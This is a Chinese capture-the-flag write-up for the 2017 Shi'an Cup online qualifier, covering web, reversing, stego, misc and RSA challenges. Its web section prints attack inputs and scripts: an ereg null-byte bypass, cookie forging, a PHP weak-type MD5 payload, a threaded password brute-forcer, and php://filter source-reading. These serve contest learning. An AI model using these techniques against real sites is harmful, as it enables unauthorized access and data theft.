2017 世安杯线上预赛 WriteUp

2017-10-10 阅读量:

emmmmmmmm，关于比赛质量问题，出门左转知乎，出门右转ctfrank
昨天竟然接到了决赛通知电话，考虑到各种问题，最后还是弃权了
以下是线上赛wp

WEB

ctf入门级题目

1	http://ctf1.shiyanbar.com/shian-rao/

题目给了源代码index.phps

<?php
$flag = '*********';

if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
        echo '<p class="alert">You password must be alphanumeric</p>';
    else if (strpos ($_GET['password'], '--') !== FALSE)
        die($flag);
    else
        echo '<p class="alert">Invalid password</p>';
}
?>

<section class="login">
        <div class="title">
                <a href="./index.phps">View Source</a>
        </div>

        <form method="POST">
                <input type="text" required name="password" placeholder="Password" /><br/>
                <input type="submit"/>
        </form>
</section>
</body>
</html>

利用%00可以截断ereg，构造?password=1%00—
flag{Maybe_using_rexpexp_wasnt_a_clever_move}

曲奇

1	http://ctf1.shiyanbar.com/shian-quqi/index.php?line=&file=a2V5LnR4dA==

file参数后面是base64编码的key.txt，line是行数
编写py脚本读取index.php源码

#!/usr/bin/env
# -*- coding: utf-8 -*-
# by:xishir
import requests as r

r1=r.session()
url='http://ctf1.shiyanbar.com/shian-quqi/index.php?line={0}&file=aW5kZXgucGhw'
for i in range(50):
	r2=r1.get(url.format(str(i)))
	print r

读取到的index.php如下

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");

$file_list = array(
'0' =>'key.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['key']) && $_COOKIE['key']=='li_lr_480'){
$file_list[2]='thisis_flag.php';
}

if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

可以看到当cookie中的key值为li_lr_480，即可读取thisis_flag.php文件

flag{UHGgd3rfH*(3HFhuiEIWF}

类型

1	http://ctf1.shiyanbar.com/shian-leixing/

经典弱类型题，构造

1	http://ctf1.shiyanbar.com/shian-leixing/?x1=0&x2={'x21':'2018a','x22':[[1],0]}&x3=XIPU-=3CS

其中XIPU-=3CSmd5加密后的8到16位以0e开头，其他全是数字
下面是跑md5脚本

import hashlib
b='-=[],./;"1234567890abcdefghijklmnoprstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

def find(str1):
    if hashlib.md5(str1).hexdigest()[8:10]=='0e':
        flag=0
        for i in hashlib.md5(str1).hexdigest()[10:24]:
            if i>'9':
                flag=1;
                break
        if flag==0:
            print str1
            input("success")
    if(len(str1)>8):
        return
    else:
        for i in b:
            find(str1+i)
if __name__ == '__main__':
    find('XIPU')

CTF{Php_1s_bstl4_1a}

#!/usr/bin/env
# -*- coding: utf-8 -*-
# by:xishir
import requests as r
import re
import threading


url='http://ctf1.shiyanbar.com/shian-s/index.php'
class MyThread(threading.Thread):
	def __init__(self, arg):
		super(MyThread, self).__init__()
		self.arg = arg
	def run(self):
		for site in self.arg:
			scan(site)

def scan(i):
    print i
    try:
    	r1=r.session()
        r3=r1.get(url)
        ss=re.findall(r'type="text"><br><br>(.*?)<br><br>',r3.text)
        url1=url+'?username=admin&password='+i+'&randcode='+ss[0]
        r2=r1.get(url1)
        r2.encoding = 'utf-8'
        #print r2.text
        if len(r2.text)!=146:
        	print r2.text,url1
    except Exception as e:
            pass

def main():
	thread_num=100
	site = [[] * 1005 for i in range(thread_num)]
	threads = []
	for i in range(100000):
		j = i % thread_num
		s = '%05d' % i
		site[j].append(s)
	for i in site:
		t = MyThread(i)
		threads.append(t)
	for i in threads:
		i.setDaemon(True)
		i.start()
	for i in threads: 
		i.join()

if __name__ == '__main__':
	main()

跑出来密码为00325
flag{U1tkOdgutaVWucdy2AbDWXPGkDx9bS2a}

admin

1	http://ctf1.shiyanbar.com/shian-du/

php伪协议php://input通过第一个if
再利用

1	http://ctf1.shiyanbar.com/shian-du/?user=php://input&file=php://filter/read=convert.base64-encode/resource=index.php

读取index.php和class.php源码
提示flag在f1a9.php中，f1a9被过滤了，于是构造反序列化字符串读取flag，听说大佬们用这个直接读取了其他web题的flag，膜

flag_Xd{hSh_ctf:e@syt0g3t}

逆向

Console

PEID查出来是C#写的，ILSpy反编译得到源码

将代码取出来编译运行，输出string b得到flag
flag{967DDDFBCD32C1F53527C221D9E40A0B}

android

参考：
https://ctf.rip/bsides-sf-ctf-2017-flag-receiver-mobile-reverse-engineering/
TheseIntentsAreFunAndEasyToUse

简单算法

队友做的

隐写

low

把bmp保存为png，Stegsolve.jar打开，扫描二维码

flag{139711e8e9ed545e}

斑马斑马

用ps处理，提取出条形码部分，用qq扫描得到flag

Tenshine

CreateByWho

拼二维码，需要补三块回型的块

Create-By-SimpleLab

适合作为桌面的图片

Stegsolve.jar打开，扫二维码，保存为pyc，反编译后运行得到flag

flag{38a57032085441e7}

MISC

reverseMe

winhex打开后在尾部发现photoshop字样，不过是倒序的，写个py脚本倒序保存得到图片，再用ps处理得到flag

flag{4f7548f93c7bef1dc6a0542cf04e796e}

珍妮的qq号

数学题，也可以写个py跑一下就出来了

#!/usr/bin/env
# -*- coding: utf-8 -*-
# by:xishir

for i in range(10000,100000):
	j=i*4
	if j<100000:
		si=str(i)
		sj=str(j)
		if si[0]==sj[4] and si[1]==sj[3] and si[2]==sj[2] and si[3]==sj[1] and si[4]==sj[0]:
			print j
			break

心仪的公司

wireshark打开，追踪http流找到flag

fl4g:{ftop_Is_Waiting_4_y}

密码学

rsa

c= 2044619806634581710230401748541393297937319 
n= 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143

import libnum
for e in range(2,10):
    m = libnum.nroot(c,e)
    if m**e==c:
        break

print "e:",e
print "m:",m
flag = libnum.n2s(m)
print flag

so_low

CodeMonster